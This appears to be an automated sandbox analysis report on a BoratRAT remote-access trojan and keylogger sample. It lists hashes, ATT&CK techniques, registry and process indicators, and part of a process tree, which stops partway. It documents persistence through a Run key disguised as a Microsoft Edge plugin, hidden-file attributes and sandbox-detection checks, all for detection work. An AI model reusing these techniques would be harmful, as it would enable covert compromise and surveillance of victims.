boratrat | 9be1b357601fe14ebb4aca76a1f09353a08c4772ea55cf45d0134a8de940147b

Analysis

user interaction
yes
max time kernel
519s
max time network
520s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
16/05/2026, 04:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
BoratRat.exe
Size 20.0MB
Sample260516-e9asbadz4m
SHA256 9be1b357601fe14ebb4aca76a1f09353a08c4772ea55cf45d0134a8de940147b
MD5 afa755655cd319a41ef463af8bd94b03
SHA1 fcd9a75ca11422a95a1dbf09557ea5c3ecf5de65
SHA512 99378304c8225399a6ab0a1c69443b7e0b1f4a76d5bb449b080f57cb075202dad23cbc4f4bac1b7d42affb77283c0dda7abaafe89a1e073231749fdae1bc1a1d
SSDEEP 393216:ayygkTCP+Zw6NLIsFfskh1BmXGnfBd+CE:ayATCP+Zlnk0rmkBYCE
TLSH
T1C727C001F9E4CA57D07A9AF5D0B206759B70AD19EB2287BB1180BB6D3EF37447812327
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery boratrat keylogger persistence ransomware rat

Malware Config

Signatures

Family: BoratRAT
BoratRAT is a Windows RAT and keylogger written in C#.
rat keylogger boratrat

Detects BoratRAT RAT 1 IoCs

resource	yara_rule
behavioral2/memory/3972-0-0x0000025CDDAA0000-0x0000025CDEEA8000-memory.dmp	family_boratrat_net

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
111	5180	powershell.exe
114	5180	powershell.exe
115	5180	powershell.exe
118	5180	powershell.exe
119	5180	powershell.exe
121	5180	powershell.exe
125	980	powershell.exe
128	980	powershell.exe
129	980	powershell.exe
137	4996	powershell.exe
138	4996	powershell.exe
139	4996	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft_Edge_Plugin = "C:\\Users\\Public\\.MicrosoftCorporation\\MicrosoftSystemUpdate.vbe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft_Edge_Plugin = "C:\\Users\\Public\\.MicrosoftCorporation\\MicrosoftSystemUpdate.vbe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft_Edge_Plugin = "C:\\Users\\Public\\.MicrosoftCorporation\\MicrosoftSystemUpdate.vbe"	reg.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 26 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "199"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe

Modifies registry class 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\Local Settings	BoratRat.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\config_auto_file	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\config_auto_file\shell\open\command	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\Local Settings	BoratRat.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\.config	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\.config\ = "config_auto_file"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\縀䆁\ = "config_auto_file"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\config_auto_file\shell	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\config_auto_file\shell\open	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\Local Settings	BoratRat.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\縀䆁	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\config_auto_file\shell\edit\command	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\config_auto_file\shell\open\command\ = "%SystemRoot%\\system32\\NOTEPAD.EXE %1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\config_auto_file\shell\edit	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\config_auto_file\shell\edit\command\ = "%SystemRoot%\\system32\\NOTEPAD.EXE %1"	OpenWith.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\boratnopswd.zip:Zone.Identifier	firefox.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
828	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
3972	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5180	powershell.exe
5180	powershell.exe
5180	powershell.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 4 IoCs

pid	Process
5676	BoratRat.exe
5000	BoratRat.exe
5232	OpenWith.exe
4860	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	3972	BoratRat.exe
Token: SeDebugPrivilege	4672	firefox.exe
Token: SeDebugPrivilege	4672	firefox.exe
Token: SeDebugPrivilege	4672	firefox.exe
Token: SeDebugPrivilege	4672	firefox.exe
Token: SeDebugPrivilege	4672	firefox.exe
Token: SeDebugPrivilege	4672	firefox.exe
Token: SeDebugPrivilege	5676	BoratRat.exe
Token: SeDebugPrivilege	5180	powershell.exe
Token: SeDebugPrivilege	5868	taskmgr.exe
Token: SeSystemProfilePrivilege	5868	taskmgr.exe
Token: SeCreateGlobalPrivilege	5868	taskmgr.exe
Token: SeDebugPrivilege	4672	firefox.exe
Token: 33	5868	taskmgr.exe
Token: SeIncBasePriorityPrivilege	5868	taskmgr.exe
Token: SeDebugPrivilege	3892	BoratRat.exe
Token: SeDebugPrivilege	980	powershell.exe
Token: SeDebugPrivilege	5548	Keylogger.exe
Token: SeDebugPrivilege	5848	Keylogger.exe
Token: SeDebugPrivilege	4860	taskmgr.exe
Token: SeSystemProfilePrivilege	4860	taskmgr.exe
Token: SeCreateGlobalPrivilege	4860	taskmgr.exe
Token: SeDebugPrivilege	5000	BoratRat.exe
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	4672	firefox.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3972	BoratRat.exe
4672	firefox.exe
4672	firefox.exe
4672	firefox.exe
4672	firefox.exe
4672	firefox.exe
4672	firefox.exe
4672	firefox.exe
4672	firefox.exe
5676	BoratRat.exe
5676	BoratRat.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
3892	BoratRat.exe
3892	BoratRat.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3972	BoratRat.exe
5676	BoratRat.exe
5676	BoratRat.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
5868	taskmgr.exe
3892	BoratRat.exe
3892	BoratRat.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe
4860	taskmgr.exe

Suspicious use of SetWindowsHookEx 25 IoCs

pid	Process
4672	firefox.exe
4672	firefox.exe
4672	firefox.exe
4672	firefox.exe
5548	Keylogger.exe
5848	Keylogger.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
5232	OpenWith.exe
4672	firefox.exe
4672	firefox.exe
4672	firefox.exe
5368	LogonUI.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 4672	2680	firefox.exe	100
PID 2680 wrote to memory of 4672	2680	firefox.exe	100
PID 4672 wrote to memory of 4956	4672	firefox.exe	101
PID 4672 wrote to memory of 4956	4672	firefox.exe	101
PID 4672 wrote to memory of 4956	4672	firefox.exe	101
PID 4672 wrote to memory of 2920	4672	firefox.exe	102
PID 4672 wrote to memory of 2920	4672	firefox.exe	102
PID 4672 wrote to memory of 2920	4672	firefox.exe	102
PID 4672 wrote to memory of 2920	4672	firefox.exe	102
PID 4672 wrote to memory of 4508	4672	firefox.exe	103
PID 4672 wrote to memory of 4508	4672	firefox.exe	103
PID 4672 wrote to memory of 4508	4672	firefox.exe	103
PID 4672 wrote to memory of 4508	4672	firefox.exe	103
PID 4672 wrote to memory of 1932	4672	firefox.exe	104
PID 4672 wrote to memory of 1932	4672	firefox.exe	104
PID 4672 wrote to memory of 1932	4672	firefox.exe	104
PID 4672 wrote to memory of 4808	4672	firefox.exe	105
PID 4672 wrote to memory of 4808	4672	firefox.exe	105
PID 4672 wrote to memory of 4808	4672	firefox.exe	105
PID 4672 wrote to memory of 4808	4672	firefox.exe	105
PID 4672 wrote to memory of 5496	4672	firefox.exe	106
PID 4672 wrote to memory of 5496	4672	firefox.exe	106
PID 4672 wrote to memory of 5496	4672	firefox.exe	106
PID 4672 wrote to memory of 5496	4672	firefox.exe	106
PID 4672 wrote to memory of 5880	4672	firefox.exe	107
PID 4672 wrote to memory of 5880	4672	firefox.exe	107
PID 4672 wrote to memory of 5880	4672	firefox.exe	107
PID 4672 wrote to memory of 5880	4672	firefox.exe	107
PID 4672 wrote to memory of 5888	4672	firefox.exe	108
PID 4672 wrote to memory of 5888	4672	firefox.exe	108
PID 4672 wrote to memory of 5888	4672	firefox.exe	108
PID 4672 wrote to memory of 5888	4672	firefox.exe	108
PID 4672 wrote to memory of 5896	4672	firefox.exe	109
PID 4672 wrote to memory of 5896	4672	firefox.exe	109
PID 4672 wrote to memory of 5896	4672	firefox.exe	109
PID 4672 wrote to memory of 5896	4672	firefox.exe	109
PID 4672 wrote to memory of 1192	4672	firefox.exe	110
PID 4672 wrote to memory of 1192	4672	firefox.exe	110
PID 4672 wrote to memory of 1192	4672	firefox.exe	110
PID 4672 wrote to memory of 1192	4672	firefox.exe	110
PID 5676 wrote to memory of 6108	5676	BoratRat.exe	117
PID 6108 wrote to memory of 5180	6108	WScript.exe	118
PID 5180 wrote to memory of 440	5180	powershell.exe	120
PID 5180 wrote to memory of 4904	5180	powershell.exe	121
PID 5180 wrote to memory of 1872	5180	powershell.exe	122
PID 5180 wrote to memory of 4284	5180	powershell.exe	123
PID 3892 wrote to memory of 5176	3892	BoratRat.exe	129
PID 5176 wrote to memory of 980	5176	WScript.exe	130
PID 980 wrote to memory of 1508	980	powershell.exe	132
PID 980 wrote to memory of 3700	980	powershell.exe	133
PID 980 wrote to memory of 4476	980	powershell.exe	134
PID 980 wrote to memory of 5016	980	powershell.exe	135
PID 5000 wrote to memory of 5804	5000	BoratRat.exe	144
PID 5804 wrote to memory of 4996	5804	WScript.exe	145
PID 4996 wrote to memory of 2124	4996	powershell.exe	147
PID 4996 wrote to memory of 2200	4996	powershell.exe	148
PID 4996 wrote to memory of 5040	4996	powershell.exe	149
PID 4996 wrote to memory of 4800	4996	powershell.exe	150
PID 5232 wrote to memory of 828	5232	OpenWith.exe	152
PID 4672 wrote to memory of 5384	4672	firefox.exe	154
PID 4672 wrote to memory of 5384	4672	firefox.exe	154
PID 4672 wrote to memory of 5384	4672	firefox.exe	154
PID 4672 wrote to memory of 5384	4672	firefox.exe	154

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3700	attrib.exe
2124	attrib.exe
2200	attrib.exe
440	attrib.exe
4904	attrib.exe
1508	attrib.exe

C:\Users\Admin\AppData\Local\Temp\BoratRat.exe
"C:\Users\Admin\AppData\Local\Temp\BoratRat.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3972

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:1256

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost
1⤵
PID:860

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1996 -prefsLen 27100 -prefMapHandle 2000 -prefMapSize 270279 -ipcHandle 2072 -initialChannelId {452eaf5a-58e6-439b-a634-7184901c436f} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:4956
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2436 -prefsLen 27136 -prefMapHandle 2440 -prefMapSize 270279 -ipcHandle 2452 -initialChannelId {fe4a1a43-5228-4772-bbc5-f48599d30bf0} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    - Checks processor information in registry
    PID:2920
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3796 -prefsLen 27277 -prefMapHandle 3800 -prefMapSize 270279 -jsInitHandle 3804 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3812 -initialChannelId {a1de585a-4cb2-4be0-aea8-e9d447fed5f5} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:4508
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3964 -prefsLen 27277 -prefMapHandle 3968 -prefMapSize 270279 -ipcHandle 3984 -initialChannelId {a40ee82a-6ca1-49b7-8485-54a41af8f395} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:1932
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2928 -prefsLen 34776 -prefMapHandle 2628 -prefMapSize 270279 -jsInitHandle 2708 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2732 -initialChannelId {51b85661-95e0-490e-b543-996f366e5734} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:4808
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4928 -prefsLen 34825 -prefMapHandle 4932 -prefMapSize 270279 -ipcHandle 4940 -initialChannelId {83e48831-c62f-4242-9f10-5e46edb09eca} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:5496
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5492 -prefsLen 32952 -prefMapHandle 5496 -prefMapSize 270279 -jsInitHandle 5500 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5368 -initialChannelId {9a4856fa-7c48-4234-a7f0-47f197151dec} -parentPid 4672 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4672" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:5880
- - C:\Program Files\Mozilla Firefox\firefox.exe
